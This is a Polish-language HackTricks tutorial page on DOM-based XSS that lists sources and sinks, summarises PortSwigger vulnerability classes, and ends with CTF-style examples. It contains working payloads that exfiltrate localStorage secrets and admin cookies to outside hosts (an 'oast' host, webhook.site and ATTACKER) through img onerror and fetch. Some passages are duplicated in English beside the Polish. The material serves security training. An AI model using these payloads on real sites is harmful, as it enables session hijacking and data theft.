DOM XSS
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Luki w DOM
Luki w DOM występują, gdy dane pochodzące z kontrolowanych przez atakującego sources (np. location.search, document.referrer, lub document.cookie) są niebezpiecznie przekazywane do sinks. Sinks to funkcje lub obiekty (np. eval(), document.body.innerHTML), które mogą wykonać lub wyrenderować szkodliwe treści, jeśli otrzymają złośliwe dane.
- Sources to wejścia, którymi mogą manipulować atakujący, w tym URLs, cookies i web messages.
- Sinks to potencjalnie niebezpieczne punkty końcowe, gdzie złośliwe dane mogą prowadzić do negatywnych skutków, takich jak wykonanie skryptu.
Ryzyko pojawia się, gdy dane przepływają z source do sink bez odpowiedniej walidacji lub oczyszczania, umożliwiając ataki takie jak XSS.
Tip
Możesz znaleźć bardziej aktualną listę sources i sinks w https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.
Zlew innerHTML nie akceptuje elementów script w żadnej nowoczesnej przeglądarce, a zdarzenia svg onload również nie zostaną uruchomione. Oznacza to, że trzeba użyć alternatywnych elementów, takich jak img lub iframe.
This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.
Ten rodzaj XSS jest prawdopodobnie najtrudniejszy do znalezienia, ponieważ trzeba zajrzeć do kodu JS, sprawdzić, czy używa jakiegoś obiektu, którego wartość kontrolujesz, a jeśli tak, ustalić, czy istnieje sposób, by to wykorzystać do wykonania dowolnego kodu JS.
Tools to find them
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Rozszerzenie przeglądarki do sprawdzania wszystkich danych, które trafiają do potencjalnego sinka: https://github.com/kevin-mizu/domloggerpp
Examples
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.
Open redirect vulnerabilities in the DOM występują, gdy skrypt zapisuje dane, które atakujący może kontrolować, do sinka zdolnego do inicjowania nawigacji między domenami.
It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.
Kluczowe jest zrozumienie, że wykonanie dowolnego kodu, takiego jak javascript:alert(1), jest możliwe, jeśli masz kontrolę nad początkiem URL-a, na który następuje przekierowanie.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
Źródło: https://portswigger.net/web-security/dom-based/cookie-manipulation
Luki DOM-based cookie-manipulation występują, gdy skrypt umieszcza w wartości cookie dane, które mogą być kontrolowane przez atakującego. Ta luka może powodować nieoczekiwane zachowanie strony, jeśli cookie są wykorzystywane na stronie. Dodatkowo może być wykorzystana do przeprowadzenia ataku session fixation, jeśli cookie bierze udział w śledzeniu sesji użytkownika. Główny sink związany z tą luką to:
Sinks:
document.cookie
JavaScript Injection
Źródło: https://portswigger.net/web-security/dom-based/javascript-injection
Luki DOM-based JavaScript injection powstają, gdy skrypt wykonuje dane, które mogą być kontrolowane przez attacker, jako kod JavaScript.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
From: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities występują, gdy skrypt ustawia właściwość document.domain za pomocą danych, które attacker może kontrolować.
Właściwość document.domain odgrywa kluczową rolę w egzekwowaniu same-origin policy przez przeglądarki. Gdy dwie strony z różnych pochodzeń ustawiają document.domain na taką samą wartość, mogą się ze sobą swobodnie komunikować. Chociaż przeglądarki nakładają pewne ograniczenia na wartości przypisywane do document.domain, uniemożliwiając przypisanie zupełnie niepowiązanych wartości z rzeczywistym originem strony, istnieją wyjątki. Zazwyczaj przeglądarki pozwalają na użycie domen potomnych lub domen nadrzędnych.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning występuje, gdy skrypt wykorzystuje dane kontrolowane jako docelowy URL dla połączenia WebSocket.
Sinks:
Konstruktor WebSocket może prowadzić do WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities pojawiają się, gdy skrypt zapisuje dane kontrolowane przez atakującego w docelowym elemencie nawigacji w obrębie bieżącej strony, takie jak klikalny link lub URL, na który wysyłany jest formularz.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities pojawiają się, gdy skrypt wpisuje dane kontrolowane przez atakującego do żądania Ajax, które jest wysyłane przy użyciu obiektu XmlHttpRequest.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities powstają, gdy skrypt przekazuje dane kontrolowane przez atakującego do API obsługi plików jako parametr filename. Ta podatność może zostać wykorzystana przez atakującego do skonstruowania URL, który, jeśli zostanie odwiedzony przez innego użytkownika, może spowodować, że przeglądarka użytkownika otworzy lub zapisze dowolny lokalny plik.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities występują, gdy skrypt włącza attacker-controllable data into a client-side SQL query in an unsafe way.
Sinks:
executeSql()
HTML5-storage manipulation
Źródło: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities pojawiają się, gdy skrypt zapisuje w przeglądarce dane kontrolowane przez atakującego w HTML5 storage (localStorage lub sessionStorage). Chociaż samo w sobie nie jest to podatność bezpieczeństwa, staje się problematyczne, jeśli aplikacja następnie odczytuje zapisane dane i przetwarza je w sposób niebezpieczny. Może to pozwolić atakującemu wykorzystać mechanizm storage do przeprowadzenia innych DOM-based attacks, takich jak cross-site scripting i JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Źródło: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities występują, gdy skrypt umieszcza dane kontrolowane przez atakującego w XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities występują, gdy skrypt umieszcza attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities pojawiają się, gdy skrypt wysyła attacker-controllable data as a web message to another document w obrębie przeglądarki. Przykład podatnej Web-message manipulation można znaleźć na PortSwigger’s Web Security Academy.
Sinks:
Metoda postMessage() używana do wysyłania web messages może prowadzić do podatności, jeśli event listener odbierający wiadomości przetwarza przychodzące dane w niebezpieczny sposób.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities pojawiają się, gdy skrypt zapisuje attacker-controllable data to a field within the DOM, które są wykorzystywane w widocznym UI lub logice po stronie klienta. Na tę podatność atakujący może skorzystać, tworząc URL, który — jeśli zostanie odwiedzony przez innego użytkownika — może zmienić wygląd lub zachowanie UI po stronie klienta.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities występują, gdy skrypt przekazuje dane kontrolowane przez atakującego w niebezpieczny sposób do problematycznego platformowego API. Obejmuje to API, które po wywołaniu mogą spowodować, że komputer użytkownika będzie zużywać nadmierne ilości CPU lub przestrzeni dyskowej. Takie luki mogą mieć poważne skutki uboczne, na przykład przeglądarka może ograniczyć funkcjonalność serwisu, odrzucając próby zapisu danych w localStorage lub przerywając wykonywanie zbyt obciążających skryptów.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Niejawne globalne i nadużycie window.name
Odniesienie do name bez deklaracji (var/let/const) odnosi się do window.name. Ponieważ window.name utrzymuje się podczas nawigacji cross-origin, atakujący może wstępnie ustawić nazwę kontekstu przeglądania zawierającą HTML/JS i później spowodować, że kod ofiary wyrenderuje ją jako zaufane dane:
- Otwórz/nawiguj do celu w nazwanym kontekście, który kontrolujesz:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Lub ponownie użyj
window.openz spreparowaną nazwą targetu:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Jeśli aplikacja później wykona element.innerHTML = name (lub podobny sink) bez sanitizacji, kontrolowany przez atakującego łańcuch window.name wykona się w docelowym originie, umożliwiając DOM XSS i dostęp do same-origin storage.
Przepływy adminów/automatyzacji: pre-seeded storage & javascript: navigation
Boty automatyzujące (np. Playwright) często najpierw odwiedzają stronę wewnętrzną, zapisują sekrety w localStorage/cookies, a następnie nawigują do URL-i podanych przez użytkownika. Każda DOM XSS primitive (w tym nadużycie window.name) w tym przepływie może exfiltrate wstępnie ustawiony sekret:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Jeśli bot nie ogranicza schematów, podanie URL-a javascript: (javascript:fetch(...)) wykona się w bieżącym origin bez nowej nawigacji, bezpośrednio leakując wartości storage.
Template literal innerHTML + luki w częściowej sanitizacji
Frontendy, które oczyszczają tylko wybrane pola, ale nadal interpolują niezaufane pole bezpośrednio do innerHTML, są trywialnie podatne. Przykład:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Jeśli nieprzefiltrowane pole jest przechowywane po stronie serwera (np. bug report “details”), payload staje się stored DOM XSS dla każdego uprzywilejowanego przeglądającego listę. Prosty payload taki jak <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> wykona się, gdy admin otworzy stronę i wykradnie ciasteczka admina.
Gdy aplikacja jawnie wyłącza SESSION_COOKIE_HTTPONLY (np. Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), skradzione cookie natychmiast przyznaje sesję admina, nawet jeśli sekret podpisywania rotuje przy każdym uruchomieniu (losowy secret_key uniemożliwia podrobienie, ale kradzież nadal działa).
References
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


